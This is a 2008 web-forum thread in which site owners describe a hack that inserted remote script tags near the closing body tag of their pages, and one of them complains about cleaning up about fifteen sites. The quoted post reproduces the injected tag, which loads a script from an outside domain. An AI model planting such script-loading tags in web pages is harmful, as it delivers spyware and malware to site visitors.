|
Posted by wattsroy on July 29, 2008, 12:26 am
Please log in for more thread options > Hi All
>
> Has anybody else been caught out by a site/ftp hack that puts the followi=
ng
> (or similar) next to the </BODY> in all of your root pages:
>
> <script src=3Dhttp://www.cdrpoex.com/fgg.js></script><script
> src=3Dhttp://www.cdrpoex.com/fgg.js></script><script
> src=3Dhttp://www.cdrpoex.com/fgg.js></script>
>
> Have they done this purely by getting the FTP password or is there anothe=
r
> way in?
>
> Only I have our FTP password so I'm thinking that it is down to our ISP
> rather than our band of 3.
>
> Rgds
Yes, I have had multiple sites affected by this. It is not SQL
injection because one of my sites is classic asp with no database. The
host suspects that because I was using the dictionary object that the
bot or whatever it is impersonated the frontpage server extensions to
access all of the files in the directory and insert this garbage,
which, btw, I picked up some nasty ad/spyware and viruses from these
scripts. I am so tired of this. For every step forward there is some
parasite out there making life difficult and I would love to sue them
for the dozens of hours I have spent cleaning up about 15 different
sites on different servers.
| 
XML Sitemap